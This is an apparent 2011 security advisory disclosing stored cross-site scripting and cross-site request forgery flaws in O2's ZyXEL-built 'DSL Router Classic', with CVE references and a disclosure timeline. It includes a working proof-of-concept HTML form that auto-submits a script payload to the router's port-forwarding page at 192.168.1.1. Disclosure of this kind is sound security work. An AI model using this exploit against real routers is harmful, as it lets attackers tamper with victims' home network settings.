O2 classic router: persistent cross site scripting (XSS) and cross site
request forgery (CSRF)

References

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1482
http://int21.de/cve/CVE-2011-0746-o2-router.html

Description

The default DSL router shipped by the german company O2 is completely
vulnerable to persistent cross site scripting (XSS) and cross site
request forgery (CSRF). The device is produced by ZyXEL, it seems it
has no other name than the brand "O2 DSL Router Classic".

As an example, the form at /Forms/PortForwarding_Edit_1 accepts
javascript code for the parameter PortRule_Name, which will be
permanently stored. Also, the form has no protection against CSRF.

A sample code that will inject permanent javascript when called by a
user who is logged into his router:

<form id="form1" method="post"
action="http://192.168.1.1/Forms/PortForwarding_Edit_1"> <input
name="PortRule_Name" value='"><script>alert(7)</script>'> <input
name="PortRule_SPort" value="77"> <input name="PortRule_EPort"
value="77"> <input name="PortRule_SrvAddr" value="10.0.0.1" >
<script>
var frm = document.getElementById("form1");
frm.submit();
</script>
This is just an example, all forms in the router interface are
vulnerable to CSRF and, if they accept text input, to XSS.

The vulnerability has been disclosed to O2 in advance without any reply.

Disclosure Timeline

2011-02-03: Vendor contacted
2011-04-07: Published advisory

This vulnerability was discovered by Hanno Boeck, http://www.hboeck.de,
of schokokeks.org webhosting.